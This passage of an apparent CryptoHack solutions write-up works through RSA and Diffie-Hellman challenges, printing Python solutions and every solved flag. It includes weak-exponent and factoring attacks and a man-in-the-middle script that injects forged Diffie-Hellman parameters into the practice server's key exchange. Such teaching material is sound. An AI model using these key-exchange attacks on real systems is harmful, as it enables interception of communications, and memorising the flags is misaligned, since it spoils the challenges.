882564595536224140639625987657529300394956519977044270821168\nRSA Starter 4 The private key d is used to decrypt ciphertexts created with the corresponding public key (it\u0026rsquo;s also used to \u0026ldquo;sign\u0026rdquo; a message but we\u0026rsquo;ll get to that later).\nThe private key is the secret piece of information or \u0026ldquo;trapdoor\u0026rdquo; which allows us to quickly invert the encryption function. If RSA is implemented well, if you do not have the private key the fastest way to decrypt the ciphertext is to first factorize the modulus.\nIn RSA the private key is the modular multiplicative inverse of the exponent e modulo the totient of N.\nGiven the two primes:\np = 857504083339712752489993810777\nq = 1029224947942998075080348647219\nand the exponent:\ne = 65537\nWhat is the private key d?\nSolution \u0026gt; from Crypto.Util.number import inverse p = 857504083339712752489993810777 q = 1029224947942998075080348647219 e = 65537 phi = (p-1)*(q-1) d = inverse(e, phi) \u0026gt; print(d) 121832886702415731577073962957377780195510499965398469843281 Alternate solution(s):\n# source: CryptoHack user @Scalpel p = 857504083339712752489993810777 q = 1029224947942998075080348647219 e = 65537 phi = (p-1)*(q-1) d = pow(e, -1, phi) print(d) flag: 121832886702415731577073962957377780195510499965398469843281\nRSA Starter 5 I\u0026rsquo;ve encrypted a secret number for your eyes only using your public key parameters:\nN = 882564595536224140639625987659416029426239230804614613279163\ne = 65537\nUse the private key that you found for these parameters in the previous challenge to decrypt this ciphertext:\nc = 77578995801157823671636298847186723593814843845525223303932\nSolution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from Crypto.Util.number import inverse, long_to_bytes N = 882564595536224140639625987659416029426239230804614613279163 # http://factordb.com/index.php?query=882564595536224140639625987659416029426239230804614613279163 p = 857504083339712752489993810777 q = 1029224947942998075080348647219 assert p*q == N e = 65537 c = 77578995801157823671636298847186723593814843845525223303932 phi = (p-1)*(q-1) d = inverse(e, phi) m = pow(c, d, N) print(m) 13371337 flag: 13371337\nRSA Starter 6 How can you ensure that the person receiving your message knows that you wrote it?\nYou\u0026rsquo;ve been asked out on a date, and you want to send a message telling them that you\u0026rsquo;d love to go, however a jealous lover isn\u0026rsquo;t so happy about this.\nWhen you send your message saying yes, your jealous lover intercepts the message and corrupts it so it now says no!\nWe can protect against these attacks by signing the message.\nImagine you write a message M. You encrypt this message with your friend\u0026rsquo;s public key: C = M^e0 mod N0.\nTo sign this message, you calculate the hash of the message: H(M) and \u0026ldquo;encrypt\u0026rdquo; this with your private key: S = H(M)^d1 mod N1. Your friend can decrypt the message using their private key: m = C^d0 mod N0. Using your public key they calculate s = S^e1 mod N1.\nNow by computing H(m) and comparing it to s: assert H(m) == s, they can ensure that the message you sent them, is the message that they received!\nSign the flag crypto{Immut4ble_m3ssag1ng} using your private key and the SHA256 hash function.\nChallenge files:\nprivate.key file: private.key\n1 2 N = 15216583654836731327639981224133918855895948374072384050848479908982286890731769486609085918857664046075375253168955058743185664390273058074450390236774324903305663479046566232967297765731625328029814055635316002591227570271271445226094919864475407884459980489638001092788574811554149774028950310695112688723853763743238753349782508121985338746755237819373178699343135091783992299561827389745132880022259873387524273298850340648779897909381979714026837172003953221052431217940632552930880000919436507245150726543040714721553361063311954285289857582079880295199632757829525723874753306371990452491305564061051059885803 d = 11175901210643014262548222473449533091378848269490518850474399681690547281665059317155831692300453197335735728459259392366823302405685389586883670043744683993709123180805154631088513521456979317628012721881537154107239389466063136007337120599915456659758559300673444689263854921332185562706707573660658164991098457874495054854491474065039621922972671588299315846306069845169959451250821044417886630346229021305410340100401530146135418806544340908355106582089082980533651095594192031411679866134256418292249592135441145384466261279428795408721990564658703903787956958168449841491667690491585550160457893350536334242689 Solution 1 2 3 4 5 6 7 8 9 10 from hashlib import sha256 from Crypto.Util.number import bytes_to_long N = 15216583654836731327639981224133918855895948374072384050848479908982286890731769486609085918857664046075375253168955058743185664390273058074450390236774324903305663479046566232967297765731625328029814055635316002591227570271271445226094919864475407884459980489638001092788574811554149774028950310695112688723853763743238753349782508121985338746755237819373178699343135091783992299561827389745132880022259873387524273298850340648779897909381979714026837172003953221052431217940632552930880000919436507245150726543040714721553361063311954285289857582079880295199632757829525723874753306371990452491305564061051059885803 d = 11175901210643014262548222473449533091378848269490518850474399681690547281665059317155831692300453197335735728459259392366823302405685389586883670043744683993709123180805154631088513521456979317628012721881537154107239389466063136007337120599915456659758559300673444689263854921332185562706707573660658164991098457874495054854491474065039621922972671588299315846306069845169959451250821044417886630346229021305410340100401530146135418806544340908355106582089082980533651095594192031411679866134256418292249592135441145384466261279428795408721990564658703903787956958168449841491667690491585550160457893350536334242689 m = b\u0026#39;crypto{Immut4ble_m3ssag1ng}\u0026#39; h_m = bytes_to_long(sha256(m).digest()) s = pow(h_m, d, N) print(hex(s)[2:]) 6ac9bb8f110b318a40ad8d7e57defdcce2652f5928b5f9b97c1504d7096d7af1d34e477b30f1a08014e8d525b14458b709a77a5fa67d4711bd19da1446f9fb0ffd9fdedc4101bdc9a4b26dd036f11d02f6b56f4926170c643f302d59c4fe8ea678b3ca91b4bb9b2024f2a839bec1514c0242b57e1f5e77999ee67c450982730252bc2c3c35acb4ac06a6ce8b9dbf84e29df0baa7369e0fd26f6dfcfb22a464e05c5b72baba8f78dc742e96542169710918ee2947749477869cb3567180ccbdfe6fdbe85bcaca4bf6da77c8f382bb4c8cd56dee43d1290ca856318c97f1756b789e3cac0c9738f5e9f797314d39a2ededb92583d97124ec6b313c4ea3464037d3 flag: 6ac9bb8f110b318a40ad8d7e57defdcce2652f5928b5f9b97c1504d7096d7af1d34e477b30f1a08014e8d525b14458b709a77a5fa67d4711bd19da1446f9fb0ffd9fdedc4101bdc9a4b26dd036f11d02f6b56f4926170c643f302d59c4fe8ea678b3ca91b4bb9b2024f2a839bec1514c0242b57e1f5e77999ee67c450982730252bc2c3c35acb4ac06a6ce8b9dbf84e29df0baa7369e0fd26f6dfcfb22a464e05c5b72baba8f78dc742e96542169710918ee2947749477869cb3567180ccbdfe6fdbe85bcaca4bf6da77c8f382bb4c8cd56dee43d1290ca856318c97f1756b789e3cac0c9738f5e9f797314d39a2ededb92583d97124ec6b313c4ea3464037d3\nFactoring So far we\u0026rsquo;ve been using the product of small primes for the modulus, but small primes aren\u0026rsquo;t much good for RSA as they can be factorized using modern methods.\nWhat is a \u0026ldquo;small prime\u0026rdquo;? There was an RSA Factoring Challenge with cash prizes given to teams who could factorize RSA moduli. This gave insight to the public into how long various key sizes would remain safe. Computers get faster, algorithms get better, so in cryptography it\u0026rsquo;s always prudent to err on the side of caution.\nThese days, using primes that are at least 1024 bits long is recommended–multiplying two such 1024 primes gives you a modulus that is 2048 bits large. RSA with a 2048-bit modulus is called RSA-2048.\nSome say that to really remain future-proof you should use RSA-4096 or even RSA-8192. However, there is a tradeoff here; it takes longer to generate large prime numbers, plus modular exponentiations are predictably slower with a large modulus.\nFactorize the 150-bit number 510143758735509025530880200653196460532653147 into its two constituent primes. Give the smaller one as your answer.\nResources:\nHow big an RSA key is considered secure today? primefac-fork Solution factorDB gives us the factors:\np = 19704762736204164635843 q = 25889363174021185185929 Monoprime Why is everyone so obsessed with multiplying two primes for RSA. Why not just use one?\nChallenge files:\noutput.txt Resources:\nWhy do we need in RSA the modulus to be product of 2 primes? file: output.txt\n1 2 3 n = 171731371218065444125482536302245915415603318380280392385291836472299752747934607246477508507827284075763910264995326010251268493630501989810855418416643352631102434317900028697993224868629935657273062472544675693365930943308086634291936846505861203914449338007760990051788980485462592823446469606824421932591 e = 65537 ct = 161367550346730604451454756189028938964941280347662098798775466019463375610700074840105776873791605070092554650190486030367121011578171525759600774739890458414593857709994072516290998135846956596662071379067305011746842247628316996977338024343628757374524136260758515864509435302781735938531030576289086798942 Solution 1 2 3 4 5 6 7 8 9 from Crypto.Util.number import inverse, long_to_bytes n = 171731371218065444125482536302245915415603318380280392385291836472299752747934607246477508507827284075763910264995326010251268493630501989810855418416643352631102434317900028697993224868629935657273062472544675693365930943308086634291936846505861203914449338007760990051788980485462592823446469606824421932591 e = 65537 ct = 161367550346730604451454756189028938964941280347662098798775466019463375610700074840105776873791605070092554650190486030367121011578171525759600774739890458414593857709994072516290998135846956596662071379067305011746842247628316996977338024343628757374524136260758515864509435302781735938531030576289086798942 phi = n-1 d = inverse(e, phi) m = pow(ct, d, n) print(long_to_bytes(m)) b\u0026#39;crypto{0n3_pr1m3_41n7_pr1m3_l0l}\u0026#39; flag: crypto{0n3_pr1m3_41n7_pr1m3_l0l}\nManyprime Using one prime factor was definitely a bad idea so I\u0026rsquo;ll try using over 30 instead.\nChallenge files:\noutput.txt Resources:\nThe Elliptic Curve Factorization Method file: output.txt\n1 2 3 n = 580642391898843192929563856870897799650883152718761762932292482252152591279871421569162037190419036435041797739880389529593674485555792234900969402019055601781662044515999210032698275981631376651117318677368742867687180140048715627160641771118040372573575479330830092989800730105573700557717146251860588802509310534792310748898504394966263819959963273509119791037525504422606634640173277598774814099540555569257179715908642917355365791447508751401889724095964924513196281345665480688029639999472649549163147599540142367575413885729653166517595719991872223011969856259344396899748662101941230745601719730556631637 e = 65537 ct = 320721490534624434149993723527322977960556510750628354856260732098109692581338409999983376131354918370047625150454728718467998870322344980985635149656977787964380651868131740312053755501594999166365821315043312308622388016666802478485476059625888033017198083472976011719998333985531756978678758897472845358167730221506573817798467100023754709109274265835201757369829744113233607359526441007577850111228850004361838028842815813724076511058179239339760639518034583306154826603816927757236549096339501503316601078891287408682099750164720032975016814187899399273719181407940397071512493967454225665490162619270814464 Solution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from sage.all import ecm from Crypto.Util.number import inverse, long_to_bytes n = 580642391898843192929563856870897799650883152718761762932292482252152591279871421569162037190419036435041797739880389529593674485555792234900969402019055601781662044515999210032698275981631376651117318677368742867687180140048715627160641771118040372573575479330830092989800730105573700557717146251860588802509310534792310748898504394966263819959963273509119791037525504422606634640173277598774814099540555569257179715908642917355365791447508751401889724095964924513196281345665480688029639999472649549163147599540142367575413885729653166517595719991872223011969856259344396899748662101941230745601719730556631637 e = 65537 ct = 320721490534624434149993723527322977960556510750628354856260732098109692581338409999983376131354918370047625150454728718467998870322344980985635149656977787964380651868131740312053755501594999166365821315043312308622388016666802478485476059625888033017198083472976011719998333985531756978678758897472845358167730221506573817798467100023754709109274265835201757369829744113233607359526441007577850111228850004361838028842815813724076511058179239339760639518034583306154826603816927757236549096339501503316601078891287408682099750164720032975016814187899399273719181407940397071512493967454225665490162619270814464 factors = ecm.factor(n) phi = 1 for f in factors: phi *= f-1 d = inverse(e, phi) m = pow(ct, d, n) print(long_to_bytes(int(m))) b\u0026#39;crypto{700_m4ny_5m4ll_f4c70r5}\u0026#39; flag: crypto{700_m4ny_5m4ll_f4c70r5}\nSalty Smallest exponent should be fastest, right?\nChallenge files:\nsalty.py output.txt file: salty.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #!/usr/bin/env python3 from Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_bytes e = 1 d = -1 while d == -1: p = getPrime(512) q = getPrime(512) phi = (p - 1) * (q - 1) d = inverse(e, phi) n = p * q flag = b\u0026#34;XXXXXXXXXXXXXXXXXXXXXXX\u0026#34; pt = bytes_to_long(flag) ct = pow(pt, e, n) print(f\u0026#34;n = {n}\u0026#34;) print(f\u0026#34;e = {e}\u0026#34;) print(f\u0026#34;ct = {ct}\u0026#34;) pt = pow(ct, d, n) decrypted = long_to_bytes(pt) assert decrypted == flag file: output.txt\n1 2 3 n = 110581795715958566206600392161360212579669637391437097703685154237017351570464767725324182051199901920318211290404777259728923614917211291562555864753005179326101890427669819834642007924406862482343614488768256951616086287044725034412802176312273081322195866046098595306261781788276570920467840172004530873767 e = 1 ct = 44981230718212183604274785925793145442655465025264554046028251311164494127485 Solution 1 2 3 4 5 6 7 8 from Crypto.Util.number import long_to_bytes n = 110581795715958566206600392161360212579669637391437097703685154237017351570464767725324182051199901920318211290404777259728923614917211291562555864753005179326101890427669819834642007924406862482343614488768256951616086287044725034412802176312273081322195866046098595306261781788276570920467840172004530873767 e = 1 ct = 44981230718212183604274785925793145442655465025264554046028251311164494127485 m = pow(ct, 1, n) print(long_to_bytes(m)) b\u0026#39;crypto{saltstack_fell_for_this!}\u0026#39; flag: crypto{saltstack_fell_for_this!}\nModulus Inutilis My primes should be more than large enough now!\nChallenge files:\nmodulus_inutilis.py output.txt file: modulus_inutilis.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #!/usr/bin/env python3 from Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_bytes e = 3 d = -1 while d == -1: p = getPrime(1024) q = getPrime(1024) phi = (p - 1) * (q - 1) d = inverse(e, phi) n = p * q flag = b\u0026#34;XXXXXXXXXXXXXXXXXXXXXXX\u0026#34; pt = bytes_to_long(flag) ct = pow(pt, e, n) print(f\u0026#34;n = {n}\u0026#34;) print(f\u0026#34;e = {e}\u0026#34;) print(f\u0026#34;ct = {ct}\u0026#34;) pt = pow(ct, d, n) decrypted = long_to_bytes(pt) assert decrypted == flag file: output.txt\n1 2 3 n = 17258212916191948536348548470938004244269544560039009244721959293554822498047075403658429865201816363311805874117705688359853941515579440852166618074161313773416434156467811969628473425365608002907061241714688204565170146117869742910273064909154666642642308154422770994836108669814632309362483307560217924183202838588431342622551598499747369771295105890359290073146330677383341121242366368309126850094371525078749496850520075015636716490087482193603562501577348571256210991732071282478547626856068209192987351212490642903450263288650415552403935705444809043563866466823492258216747445926536608548665086042098252335883 e = 3 ct = 243251053617903760309941844835411292373350655973075480264001352919865180151222189820473358411037759381328642957324889519192337152355302808400638052620580409813222660643570085177957 Solution 1 2 3 4 5 6 7 from Crypto.Util.number import long_to_bytes from gmpy2 import iroot n = 17258212916191948536348548470938004244269544560039009244721959293554822498047075403658429865201816363311805874117705688359853941515579440852166618074161313773416434156467811969628473425365608002907061241714688204565170146117869742910273064909154666642642308154422770994836108669814632309362483307560217924183202838588431342622551598499747369771295105890359290073146330677383341121242366368309126850094371525078749496850520075015636716490087482193603562501577348571256210991732071282478547626856068209192987351212490642903450263288650415552403935705444809043563866466823492258216747445926536608548665086042098252335883 e = 3 ct = 243251053617903760309941844835411292373350655973075480264001352919865180151222189820473358411037759381328642957324889519192337152355302808400638052620580409813222660643570085177957 print(long_to_bytes(iroot(ct,3)[0])) b\u0026#39;crypto{N33d_m04R_p4dd1ng}\u0026#39; flag: crypto{N33d_m04R_p4dd1ng}\nDiffie-Hellman Starter 1 The set of integers modulo n, together with the operations of both addition and multiplication is a ring. This means that adding or multiplying any two elements in the set returns another element in the set.\nWhen the modulus is prime: n = p, we are guaranteed an inverse of every element in the set, and so the ring is promoted to a field. We refer to this field as a finite field Fp.\nThe Diffie-Hellman protocol works with elements of some finite field Fp, where the prime modulus is typically a large prime.\nGiven the prime p = 991, and the element g = 209, find the inverse element d such that g * d mod 991 = 1.\nSolution \u0026gt; from Crypto.Util.number import inverse \u0026gt; inverse(209, 991) 549 flag: 549\nDiffie-Hellman Starter 2 Every element of a finite field Fp can be used to make a subgroup H under repeated action of multiplication. In other words, for an element g: H = {g, g^2, g^3, ...}\nA primitive element of Fp is an element whose subgroup H = Fp, i.e., every element of Fp, can be written as g^n mod p for some integer n. Because of this, primitive elements are sometimes called generators of the finite field.\nFor the finite field with p = 28151 find the smallest element g which is a primitive element of Fp.\nSolution \u0026gt; from sage.all import GF \u0026gt; GF(28151).primitive_element() 7 flag: 7\nDiffie-Hellman Starter 3 The Diffie-Hellman protocol is used because the discrete logarithm is assumed to be a \u0026ldquo;hard\u0026rdquo; computation for carefully chosen groups.\nThe first step of the protocol is to establish a prime p and some generator of the finite field g. These must be carefully chosen to avoid special cases where the discrete log can be solved with efficient algorithms. For example, a safe prime p = 2*q +1 is usually picked such that the only factors of p - 1 are {2,q} where q is some other large prime. This protects DH from the Pohlig–Hellman algorithm.\nThe user then picks a secret integer a \u0026lt; p and calculates g^a mod p. This can be transmitted over an insecure network and due to the assumed difficulty of the discrete logarithm, if the protocol has been implemented correctly the secret integer should be infeasible to compute.\nGiven the NIST parameters:\ng: 2 p: 2410312426921032588552076022197566074856950548502459942654116941958108831682612228890093858261341614673227141477904012196503648957050582631942730706805009223062734745341073406696246014589361659774041027169249453200378729434170325843778659198143763193776859869524088940195577346119843545301547043747207749969763750084308926339295559968882457872412993810129130294592999947926365264059284647209730384947211681434464714438488520940127459844288859336526896320919633919 Calculate the value of g^a mod p for\na: 972107443837033796245864316200458246846904598488981605856765890478853088246897345487328491037710219222038930943365848626194109830309179393018216763327572120124760140018038673999837643377590434413866611132403979547150659053897355593394492586978400044375465657296027592948349589216415363722668361328689588996541370097559090335137676411595949335857341797148926151694299575970292809805314431447043469447485957669949989090202320234337890323293401862304986599884732815` Solution \u0026gt; p = 2410312426921032588552076022197566074856950548502459942654116941958108831682612228890093858261341614673227141477904012196503648957050582631942730706805009223062734745341073406696246014589361659774041027169249453200378729434170325843778659198143763193776859869524088940195577346119843545301547043747207749969763750084308926339295559968882457872412993810129130294592999947926365264059284647209730384947211681434464714438488520940127459844288859336526896320919633919 \u0026gt; a = 972107443837033796245864316200458246846904598488981605856765890478853088246897345487328491037710219222038930943365848626194109830309179393018216763327572120124760140018038673999837643377590434413866611132403979547150659053897355593394492586978400044375465657296027592948349589216415363722668361328689588996541370097559090335137676411595949335857341797148926151694299575970292809805314431447043469447485957669949989090202320234337890323293401862304986599884732815 \u0026gt; g = 2 \u0026gt; pow(g, a, p) 1806857697840726523322586721820911358489420128129248078673933653533930681676181753849411715714173604352323556558783759252661061186320274214883104886050164368129191719707402291577330485499513522368289395359523901406138025022522412429238971591272160519144672389532393673832265070057319485399793101182682177465364396277424717543434017666343807276970864475830391776403957550678362368319776566025118492062196941451265638054400177248572271342548616103967411990437357924 flag:\n1806857697840726523322586721820911358489420128129248078673933653533930681676181753849411715714173604352323556558783759252661061186320274214883104886050164368129191719707402291577330485499513522368289395359523901406138025022522412429238971591272160519144672389532393673832265070057319485399793101182682177465364396277424717543434017666343807276970864475830391776403957550678362368319776566025118492062196941451265638054400177248572271342548616103967411990437357924 Diffie-Hellman Starter 4 Now it\u0026rsquo;s time to calculate a shared secret using data received from your friend Alice. Like before, we will be using the NIST parameters:\ng: 2 p: 2410312426921032588552076022197566074856950548502459942654116941958108831682612228890093858261341614673227141477904012196503648957050582631942730706805009223062734745341073406696246014589361659774041027169249453200378729434170325843778659198143763193776859869524088940195577346119843545301547043747207749969763750084308926339295559968882457872412993810129130294592999947926365264059284647209730384947211681434464714438488520940127459844288859336526896320919633919 You have received the following integer from Alice:\nA: 70249943217595468278554541264975482909289174351516133994495821400710625291840101960595720462672604202133493023241393916394629829526272643847352371534839862030410331485087487331809285533195024369287293217083414424096866925845838641840923193480821332056735592483730921055532222505605661664236182285229504265881752580410194731633895345823963910901731715743835775619780738974844840425579683385344491015955892106904647602049559477279345982530488299847663103078045601 You generate your secret integer b and calculate your public one B, which you send to Alice.\nb: 12019233252903990344598522535774963020395770409445296724034378433497976840167805970589960962221948290951873387728102115996831454482299243226839490999713763440412177965861508773420532266484619126710566414914227560103715336696193210379850575047730388378348266180934946139100479831339835896583443691529372703954589071507717917136906770122077739814262298488662138085608736103418601750861698417340264213867753834679359191427098195887112064503104510489610448294420720` B: 518386956790041579928056815914221837599234551655144585133414727838977145777213383018096662516814302583841858901021822273505120728451788412967971809038854090670743265187138208169355155411883063541881209288967735684152473260687799664130956969450297407027926009182761627800181901721840557870828019840218548188487260441829333603432714023447029942863076979487889569452186257333512355724725941390498966546682790608125613166744820307691068563387354936732643569654017172 You and Alice are now able to calculate a shared secret, which would be infeasible to calculate knowing only {g,p,A,B}.\nWhat is your shared secret?\nSolution \u0026gt; A = 70249943217595468278554541264975482909289174351516133994495821400710625291840101960595720462672604202133493023241393916394629829526272643847352371534839862030410331485087487331809285533195024369287293217083414424096866925845838641840923193480821332056735592483730921055532222505605661664236182285229504265881752580410194731633895345823963910901731715743835775619780738974844840425579683385344491015955892106904647602049559477279345982530488299847663103078045601 \u0026gt; b = 12019233252903990344598522535774963020395770409445296724034378433497976840167805970589960962221948290951873387728102115996831454482299243226839490999713763440412177965861508773420532266484619126710566414914227560103715336696193210379850575047730388378348266180934946139100479831339835896583443691529372703954589071507717917136906770122077739814262298488662138085608736103418601750861698417340264213867753834679359191427098195887112064503104510489610448294420720 \u0026gt; p = 2410312426921032588552076022197566074856950548502459942654116941958108831682612228890093858261341614673227141477904012196503648957050582631942730706805009223062734745341073406696246014589361659774041027169249453200378729434170325843778659198143763193776859869524088940195577346119843545301547043747207749969763750084308926339295559968882457872412993810129130294592999947926365264059284647209730384947211681434464714438488520940127459844288859336526896320919633919 \u0026gt; pow(A,b,p) 1174130740413820656533832746034841985877302086316388380165984436672307692443711310285014138545204369495478725102882673427892104539120952393788961051992901649694063179853598311473820341215879965343136351436410522850717408445802043003164658348006577408558693502220285700893404674592567626297571222027902631157072143330043118418467094237965591198440803970726604537807146703763571606861448354607502654664700390453794493176794678917352634029713320615865940720837909466 flag:\n1174130740413820656533832746034841985877302086316388380165984436672307692443711310285014138545204369495478725102882673427892104539120952393788961051992901649694063179853598311473820341215879965343136351436410522850717408445802043003164658348006577408558693502220285700893404674592567626297571222027902631157072143330043118418467094237965591198440803970726604537807146703763571606861448354607502654664700390453794493176794678917352634029713320615865940720837909466 Diffie-Hellman Starter 5 Alice wants to send you her secret flag and asks you to generate a shared secret with her. She also tells you she will be using the NIST standard:\ng: 2 p: 2410312426921032588552076022197566074856950548502459942654116941958108831682612228890093858261341614673227141477904012196503648957050582631942730706805009223062734745341073406696246014589361659774041027169249453200378729434170325843778659198143763193776859869524088940195577346119843545301547043747207749969763750084308926339295559968882457872412993810129130294592999947926365264059284647209730384947211681434464714438488520940127459844288859336526896320919633919 You receive the following integer from Alice:\nA: 112218739139542908880564359534373424013016249772931962692237907571990334483528877513809272625610512061159061737608547288558662879685086684299624481742865016924065000555267977830144740364467977206555914781236397216033805882207640219686011643468275165718132888489024688846101943642459655423609111976363316080620471928236879737944217503462265615774774318986375878440978819238346077908864116156831874695817477772477121232820827728424890845769152726027520772901423784 You then generate your secret integer and calculate your public one, which you send to Alice.\nb: 197395083814907028991785772714920885908249341925650951555219049411298436217190605190824934787336279228785809783531814507661385111220639329358048196339626065676869119737979175531770768861808581110311903548567424039264485661330995221907803300824165469977099494284722831845653985392791480264712091293580274947132480402319812110462641143884577706335859190668240694680261160210609506891842793868297672619625924001403035676872189455767944077542198064499486164431451944 B: 1241972460522075344783337556660700537760331108332735677863862813666578639518899293226399921252049655031563612905395145236854443334774555982204857895716383215705498970395379526698761468932147200650513626028263449605755661189525521343142979265044068409405667549241125597387173006460145379759986272191990675988873894208956851773331039747840312455221354589910726982819203421992729738296452820365553759182547255998984882158393688119629609067647494762616719047466973581` Individually you each use the shared secret to derive an AES private key. This allows you to encrypt large amounts of data over your channel without needing to exchange keys again.\nAlice sends you the following IV and ciphertext:\n{\u0026#39;iv\u0026#39;: \u0026#39;737561146ff8194f45290f5766ed6aba\u0026#39;, \u0026#39;encrypted_flag\u0026#39;: \u0026#39;39c99bf2f0c14678d6a5416faef954b5893c316fc3c48622ba1fd6a9fe85f3dc72a29c394cf4bc8aff6a7b21cae8e12c\u0026#39;} Decrypt this to obtain your flag!\nChallenge files:\nsource.py decrypt.py file: source.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import hashlib import os from secret import shared_secret FLAG = b\u0026#39;crypto{????????????????????????????}\u0026#39; def encrypt_flag(shared_secret: int): # Derive AES key from shared secret sha1 = hashlib.sha1() sha1.update(str(shared_secret).encode(\u0026#39;ascii\u0026#39;)) key = sha1.digest()[:16] # Encrypt flag iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) ciphertext = cipher.encrypt(pad(FLAG, 16)) # Prepare data to send data = {} data[\u0026#39;iv\u0026#39;] = iv.hex() data[\u0026#39;encrypted_flag\u0026#39;] = ciphertext.hex() return data print(encrypt_flag(shared_secret)) file: decrypt.py\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import hashlib def is_pkcs7_padded(message): padding = message[-message[-1]:] return all(padding[i] == len(padding) for i in range(0, len(padding))) def decrypt_flag(shared_secret: int, iv: str, ciphertext: str): # Derive AES key from shared secret sha1 = hashlib.sha1() sha1.update(str(shared_secret).encode(\u0026#39;ascii\u0026#39;)) key = sha1.digest()[:16] # Decrypt flag ciphertext = bytes.fromhex(ciphertext) iv = bytes.fromhex(iv) cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(ciphertext) if is_pkcs7_padded(plaintext): return unpad(plaintext, 16).decode(\u0026#39;ascii\u0026#39;) else: return plaintext.decode(\u0026#39;ascii\u0026#39;) shared_secret = ? iv = ? ciphertext = ? print(decrypt_flag(shared_secret, iv, ciphertext)) Solution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import hashlib def is_pkcs7_padded(message): padding = message[-message[-1]:] return all(padding[i] == len(padding) for i in range(0, len(padding))) def decrypt_flag(shared_secret: int, iv: str, ciphertext: str): # Derive AES key from shared secret sha1 = hashlib.sha1() sha1.update(str(shared_secret).encode(\u0026#39;ascii\u0026#39;)) key = sha1.digest()[:16] # Decrypt flag ciphertext = bytes.fromhex(ciphertext) iv = bytes.fromhex(iv) cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(ciphertext) if is_pkcs7_padded(plaintext): return unpad(plaintext, 16).decode(\u0026#39;ascii\u0026#39;) else: return plaintext.decode(\u0026#39;ascii\u0026#39;) A = 112218739139542908880564359534373424013016249772931962692237907571990334483528877513809272625610512061159061737608547288558662879685086684299624481742865016924065000555267977830144740364467977206555914781236397216033805882207640219686011643468275165718132888489024688846101943642459655423609111976363316080620471928236879737944217503462265615774774318986375878440978819238346077908864116156831874695817477772477121232820827728424890845769152726027520772901423784 b = 197395083814907028991785772714920885908249341925650951555219049411298436217190605190824934787336279228785809783531814507661385111220639329358048196339626065676869119737979175531770768861808581110311903548567424039264485661330995221907803300824165469977099494284722831845653985392791480264712091293580274947132480402319812110462641143884577706335859190668240694680261160210609506891842793868297672619625924001403035676872189455767944077542198064499486164431451944 p = 2410312426921032588552076022197566074856950548502459942654116941958108831682612228890093858261341614673227141477904012196503648957050582631942730706805009223062734745341073406696246014589361659774041027169249453200378729434170325843778659198143763193776859869524088940195577346119843545301547043747207749969763750084308926339295559968882457872412993810129130294592999947926365264059284647209730384947211681434464714438488520940127459844288859336526896320919633919 shared_secret = pow(A, b, p) iv = \u0026#39;737561146ff8194f45290f5766ed6aba\u0026#39; ciphertext = \u0026#39;39c99bf2f0c14678d6a5416faef954b5893c316fc3c48622ba1fd6a9fe85f3dc72a29c394cf4bc8aff6a7b21cae8e12c\u0026#39; print(decrypt_flag(shared_secret, iv, ciphertext)) flag: crypto{sh4r1ng_s3cret5_w1th_fr13nd5}\nParameter Injection You\u0026rsquo;re in a position to not only intercept Alice and Bob\u0026rsquo;s DH key exchange, but also rewrite their messages. Think about how you can play with the DH equation that they calculate, and therefore sidestep the need to crack any discrete logarithm problem.\nUse the script from \u0026ldquo;Diffie-Hellman Starter 5\u0026rdquo; to decrypt the flag once you\u0026rsquo;ve recovered the shared secret.\nConnect at nc socket.cryptohack.org 13371\nSolution 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import hashlib from pwn import * from json import loads, dumps def is_pkcs7_padded(message): padding = message[-message[-1]:] return all(padding[i] == len(padding) for i in range(0, len(padding))) def decrypt_flag(shared_secret: int, iv: str, ciphertext: str): # Derive AES key from shared secret sha1 = hashlib.sha1() sha1.update(str(shared_secret).encode(\u0026#39;ascii\u0026#39;)) key = sha1.digest()[:16] # Decrypt flag ciphertext = bytes.fromhex(ciphertext) iv = bytes.fromhex(iv) cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(ciphertext) if is_pkcs7_padded(plaintext): return unpad(plaintext, 16).decode(\u0026#39;ascii\u0026#39;) else: return plaintext.decode(\u0026#39;ascii\u0026#39;) r = remote(\u0026#39;socket.cryptohack.org\u0026#39;, 13371) # Alice -\u0026gt; Us r.readuntilS(b\u0026#39;: \u0026#39;) json = loads(r.readlineS()) p = int(json[\u0026#39;p\u0026#39;], 16) A = int(json[\u0026#39;A\u0026#39;], 16) g = int(json[\u0026#39;g\u0026#39;], 16) # Us -\u0026gt; Bob payload = dumps({\u0026#34;p\u0026#34;:hex(p),\u0026#34;g\u0026#34;:hex(g),\u0026#34;A\u0026#34;:hex(p)}).encode(\u0026#39;latin\u0026#39;) r.sendlineafter(b\u0026#34;Bob: \u0026#34;, payload) # Us -\u0026gt; Alice (fake Bob\u0026#39;s response) payload = dumps({\u0026#34;B\u0026#34;:\u0026#34;0x1\u0026#34;}).encode(\u0026#39;latin\u0026#39;) r.sendlineafter(b\u0026#34;Alice: \u0026#34;, payload) # Alice -\u0026gt; Us r.readuntilS(b\u0026#39;: \u0026#39;) json = loads(r.readlineS()) iv = json[\u0026#39;iv\u0026#39;] ct = json[\u0026#39;encrypted_flag\u0026#39;] # Decrypt (shared key = 1 since we sent B=0x1) flag = decrypt_flag(1, iv, ct) print(flag) flag: 